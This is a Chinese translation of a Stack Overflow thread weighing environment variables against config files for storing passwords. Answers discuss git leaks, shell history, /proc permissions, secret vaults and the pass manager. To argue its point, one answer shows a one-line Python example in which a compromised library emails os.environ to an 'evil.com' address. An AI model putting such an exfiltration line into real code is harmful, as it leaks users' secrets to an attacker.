在配置文件中将密码存储为环境变量(而不是明文)是否安全?

195

我在rails、django(还有一点php)上做了几个应用程序,其中一个我开始做的事情是将数据库和其他密码存储为环境变量,而不是作为某些配置文件(或对于django应用程序,存储在settings.py中)中的明文。

在与我的一位合作者讨论时,他认为这是一种糟糕的做法 - 或许这并不像它一开始看起来那样完全安全。

所以,我想知道 - 这是一种安全的做法吗?将密码存储为这些文件中的纯文本是否更安全(当然,确保不要将这些文件留在公共存储库或其他任何地方)?


使用HashiCorp Data Vault,https://www.hashicorp.com/products/vault。 - Hans Ginzel
1
它不安全,存在许多利用漏洞窃取环境变量的情况,并且有一个关于环境变量中秘密信息的精选列表:https://github.com/Puliczek/awesome-list-of-secrets-in-environment-variables。 - Maciej Pulikowski
2
这里有一个关键的区别,即存储(只是在您的环境中一直拥有它们导出)与传递(然后在传递或接收后立即从您的环境中删除)。 - undefined
1
这里有一个关键的区别,即存储(在您的环境中始终导出它们)与传递(一旦传递或接收后立即从您的环境中删除)。 - mtraceur
9个回答

96

如前所述,这两种方法在系统被入侵后都无法提供任何额外的“安全”层面。我认为支持环境变量的一个最强有力的理由是避免版本控制:我见过太多数据库配置等意外地存储在版本控制系统(如GIT)中供其他开发人员查看(哎呀!我也遇到过...)。

不将密码存储在文件中使其无法在版本控制系统中存储。


12
将秘密配置设置存储在版本控制中不是一个很好的选择,相对来说一个更加合理的选择是将它们存储在与代码仓库分离的版本控制仓库或项目中。 - Kenny Evitt
4
@KennyEvitt 这仍然会在共享位置留下未加密的密码,任何能够访问存储库的人都可以找到,并且无法跟踪谁访问了它。 - FistOfFury
4
@FistOfFury 当然,任何有访问代码库权限的人都可以访问代码库。将机密存储在单独的代码库中的目的正是为了能够以不同于代码本身的方式控制对这些机密的访问。但是,代码库也可以被保护,例如您可以将机密加密存储在“共享位置”中。您甚至可以跟踪有关访问共享位置中代码库的信息。但是,当然,允许任何人访问信息意味着他们可以复制该信息,并因此随时在未来无限制或追踪地访问它。 - Kenny Evitt
2
使用配置管理解决方案的一个很好的理由是,它可以让你存储加密的秘密信息,然后在渲染时将其替换到配置模板中。Chef有加密数据包,Ansible有保险库等。 - Brian Cline
2
这被称为特权访问管理,其中秘密存储在具有全面访问控制的集中式PAM Vault中。Gartner列出了一些此类产品。 (https://www.gartner.com/reviews/market/privileged-access-management) - Amit Naidu
你应该拥有部署系统(例如Ansible),它可以在服务器上创建配置文件。在这种情况下,你的配置文件不能存储在git中。 - FiftiN

86

在更理论的层面上,我通常会按以下方式思考安全级别(按强度递增的顺序):

  • 无安全保障。明文。任何知道哪里可以查找数据的人都可以访问。
  • 混淆式安全。您将数据(明文)存储在某个棘手的地方,例如环境变量或看起来像配置文件的文件中。攻击者最终会弄清楚发生了什么,或者偶然发现它。
  • 使用容易破解的加密提供的安全性(比如凯撒加密法!)。
  • 提供一些努力即可破解的加密的安全保障。
  • 提供的加密安全措施对于当前硬件来说是不切实际的破解。
  • 最安全的系统是没有人能使用的! :)

环境变量比纯文本文件更安全,因为它们是易失性/一次性的,并且不保存; 即,如果您只设置一个本地环境变量,例如 "set pwd = whatever",然后运行脚本, 并带有在脚本结束时退出命令外壳的内容,则该变量不存在。 您的情况属于前两种情况,我认为相当不安全。如果您要这样做,我不建议在您的立即内部网络/家庭网络之外部署,并且仅供测试目的。


4
这取决于操作系统——在最好的情况下,环境变量与纯文本文件一样容易受到攻击,但很可能更糟。对于纯文本文件,您可以设置文件/目录的读取权限来保护它们。如果我没记错的话,对于环境变量,它们存在于shell进程的内存空间中,因此有心人可以扫描该空间以寻找它们。 - John Carter
24
等一下:如果您将凭据存储在环境变量中,它们需要首先到达那里。可以通过手动或脚本实现。为了自动化您的软件启动,我建议使用脚本。但猜猜看,然后您仍然需要将它们存储在配置文件中(用于环境变量)。除非您不是手动提供环境变量的值,否则我看不出与配置文件相比有任何安全差异。 - math
3
@math 这取决于构建/启动流程,但有第三个选项 - 启动脚本(无论采用哪种形式,如bash脚本或IaC工具等)从某种(加密的)秘密存储中获取凭据:Hashicorp Vault、Azure Vault、AWS Parameter Store。 - Max Ivanov
20
为了从第三方提供商获取(加密)凭据,这个启动脚本需要提供用于身份验证的凭据,对吧?那么你会把它们放在哪里呢? - TomDogg
1
文件与环境变量的关键区别在于,默认情况下,环境变量会泄漏到你调用的所有内容中(任何库、任何子进程、任何孙子进程等等),但是你可以通过在程序启动时从环境中获取并删除秘密来阻止这整个不安全的类别。此时,它至少和对用户运行程序具有读取权限的文件一样安全。为了使文件更安全,我们需要涉及诸如ACL或SELinux标签之类的东西 - 这些东西比每个用户的粒度更严格地限制了读取权限。 - mtraceur
显示剩余5条评论

73

任何时候您需要存储密码,它都是不安全的。没有办法安全地存储未加密的密码。现在,哪种方式更“安全”——环境变量还是配置文件——可能值得讨论。在我看来,如果您的系统受到攻击,存储位置并不重要,一位勤奋的黑客总能找到它。


17
对于环境变量,我希望这里涉及Unix系统... 环境变量比文件的安全性要低得多。任何人都可以检查正在运行进程的环境变量,但是文件至少可以有访问控制列表(ACL)。 - Vatine
19
考虑到开发者必须存储这些密码,这不是一个非常有用的答案。你建议他在哪里存储这些密码? - Peter Nixey
9
暴露环境变量的位置也有权限。例如,尝试使用命令 cat /proc/1/environ - Chris Down
11
@Vatine 真的吗?在ps axe中我没有看到任何不属于我的进程的环境。使用strace -e open ps axe可以看到它是从/proc/[pid]/environ获取这些信息的,而该文件的权限有所限制(因此会有一堆open("/proc/19795/environ", O_RDONLY) = -1 EACCES (Permission denied))。请注意,我只是翻译,没有添加解释或其他内容。 - Chris Down
8
看看这个,问题终于被解决了(以前ps是设置为setuid并且可以愉快地显示几乎所有进程的环境变量)。 - Vatine
显示剩余6条评论

46
抱歉我没有足够的声望来评论,但我也想补充一下,如果你不小心的话,你的shell可能会在它的命令历史记录中捕获那个密码。因此手动运行像$ pwd=mypassword my_prog这样的命令并不像你希望的那样短暂。

42
如果在“环境变量+命令”之前加上一个空格,那么它就不会被存储在历史记录中。 - Shadi
谢谢@shadi。每天学点新东西! 我想知道这是shell特定的/容易关闭还是可以相当一致地期望? - brianclements
9
另一种方法是使用 read -s MY_PASS_VAR,这将防止Shell历史记录搜索和肩部窥视者。 - MatrixManAtYrService
9
@brianclements 我想补充一点,如果当前 shell 的 HISTCONTROL 设置为 ignorespaceignoreboth,那么在命令前加上空格才有效,因此技术上它可以被打开或关闭。 - Mousa Halaseh

40

我认为在可能的情况下,您应该将凭据存储在一个被gitignore的文件中,而不是作为环境变量存储。

当将凭据存储在环境变量中与存储在文件中进行比较时,需要考虑的一些事情是,任何库或依赖项都可以非常容易地检查环境变量。

这可以是恶意的,也可以是非恶意的。例如,库作者可以通过电子邮件将堆栈跟踪和环境变量发送给自己以进行调试(不是最佳实践,但确实可能做到)。

如果您的凭据在文件中,则查看它们要困难得多。

具体来说,想想节点中的npm。如果npm想要查看您在环境变量中的凭据,那么只需使用process.ENV即可。另一方面,如果它们在文件中,则要做更多的工作。

您的凭据文件是否受版本控制是一个单独的问题。不对凭据文件进行版本控制会使凭据暴露给更少的人。没有必要让所有开发人员都知道生产凭据。由于这符合最小特权原则,因此我建议git忽略您的凭据文件。


29
“a library author could email stack traces plus the ENV variables to themselves for debugging” 的翻译是“一个库的作者可以通过电子邮件将堆栈跟踪和环境变量发送给自己进行调试”,我赞同这个想法,之前从未考虑过这种情况。 - netishix
2
将环境变量加密,然后在以后读取时解密,这不是非常简单吗?这样做,读取所有环境变量只会给你一堆乱码。在我看来,加密环境变量可以让你兼顾两全其美。 - n3rd

16

这取决于您的威胁模型。

您是想防止用户在文件系统中随意散布密码,导致密码被遗忘和处理不当吗?如果是这样,那么可以使用环境变量。因为环境变量比文件更少持久化。

您是试图保护程序免受直接针对其的恶意攻击吗?如果是这样,则不能使用环境变量,因为环境变量没有与文件相同的访问控制级别。

个人认为,疏忽大意的用户比有动机的对手更常见,因此我会选择使用环境变量的方法。


10

除其他问题外,使用环境变量来存储机密信息的一个问题是它们可能会意外泄漏:

  • 混乱的代码向用户显示带有上下文(env vars)的原始错误消息
  • 监控工具捕获错误和上下文并将其发送/存储以供将来调查
  • 开发人员记录环境变量,将其持久化到磁盘中(并潜在地传递给某些日志处理工具,例如Logstash
  • 受损依赖项发送它可以访问的所有全局变量,包括 env vars 给攻击者
  • 设置环境变量留下痕迹在 shell 历史记录中

存储在配置文件中的机密信息可能存在以下问题:

  • 错误的文件权限允许任意操作系统用户访问
  • 开发人员将配置文件添加到版本控制中:
    • 故意(不知道这样做是错误的)
    • 无意中。即使文件被删除(可能在 PR 评审期间),如果没有正确处理,则它仍可能存在于 Git 提交历史记录中。

与存储机密信息的方式无关,如果您的系统被攻破,那么您就惨了。提取这些信息只是时间和精力的问题。

那么我们该怎么做才能将风险降至最低呢?

不要以明文形式存储/传递机密信息。

一种解决问题的方式是使用外部(托管或自托管的)密钥存储解决方案(例如 AWS Parameter Store、Azure Vault、Hashicorp Vault),并在运行时获取敏感数据(可能在内存中缓存)。这样可以确保您的密钥在传输和静态存储时都经过加密。

6
金库也需要一些秘密才能打开。这些秘密放在哪里? - Sindre

5
据我所知,人们推荐将秘密存储在环境变量中有两个原因:
  1. 很容易无意中提交包含密码的文件到代码库中。(如果是公共代码库,你就毁了。)
  2. 它可以避免密码混乱。即,在许多不同项目目录文件中具有相同密钥本身就是安全风险,因为开发人员最终会失去对密码位置的跟踪。
这两个问题可以用更好的方式解决。前者应该通过git提交挂钩来解决,该挂钩检查类似于密码的内容(例如 gitleaks)。我希望Linus能将这样的工具内置到git库源代码中,但很遗憾,这没有发生。(不用说,秘密文件应始终添加到.gitignore中,但如果有人忘记这样做,则需要一个钩子。)
后者可以通过拥有全局公司机密文件来解决,理想情况下存储在只读共享驱动器上。因此,在Python中,您可以使用from company_secrets import *之类的语句。
更重要的是,正如其他人指出的那样,环境变量中存储的秘密信息被黑客攻击太容易了。例如,在Python中,库作者可以插入send_email(address="evil.person@evil.com", text=json.dumps(os.environ)),如果您执行此代码,您就会失败。如果您的系统上有一个名为~/secret_company_stuff/.my_very_secret_company_stuff的文件,则黑客攻击要困难得多。
仅适用于Django用户:
在DEBUG模式下,Django将在浏览器中显示环境变量的原始值(如果有异常)。如果例如开发人员在生产中意外设置了DEBUG=True,则这似乎非常不安全。相比之下,Django通过查找框架的settings.py文件的变量名称中的字符串APITOKENKEYSECRETPASSSIGNATURE来混淆密码设置变量。

3
如果你执行这段代码,就会"玩完"。但是,如果你执行不受信任的代码,那么你始终都会"玩完"。攻击者不需要知道凭据,只要能在该系统上运行任意代码即可,是吗? - timgeb
@timgeb 是的,但问题在于一些不受信任的代码比其他代码更容易编写且更有效。因此,通过使用一种方法(环境变量)而不是另一种方法(未明确命名的文件),您将增加攻击面,从“巧妙编写的代码搜索代码库中类似秘密文件的引用,然后读取它们”的攻击面相对较小,到“任何人都可以从StackExchange复制和粘贴的一行代码”。 - Gostega
据我所知,不是每个人都擅长字谜。 - Eric

1
到目前为止,所有的答案都有太多的假设和不够的解决方案:将密码存储在pass中,使用Unix密码管理器:https://www.passwordstore.org/ 最近我需要一种方法来存储Loki的日志访问凭证,以供多个不同的部署使用。它们由三个变量组成:
LOKI_ADDR=https://loki.<environment>.domain
LOKI_USERNAME=<username>
LOKI_PASSWORD=<password>

我通常使用的普通技巧是将整个环境塞入一个密钥中,并使用命令pass show <secret_name> | source加载它。这样可以为当前会话加上密钥变量,然后可以使用它们来运行所需的任何内容,在关闭后清除它们。
但为了更方便使用,我希望基于单个命令使用不同凭据调用logcli
#!/bin/bash
# loki <environment> <rest of logcli args>
# loki prod query '{app=+".+"}' --tail --no-labels

ENVNAME=$1
shift 1
env LOKI_USERNAME=<loki_username> LOKI_PASSWORD=$(pass show work/loki/$ENVNAME) LOKI_ADDR=https://loki.$ENVNAME.domain logcli "${@}"

结果就是能够做到:

loki dev query '{app=+".+"}' --tail --no-labels

并且使脚本从 work/loki/dev 密钥中读取loki密码。

仅作为一种顺便提及,我没有对于增加明显的安全性提出任何主张。其他回答正确地指出了不明显的问题。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接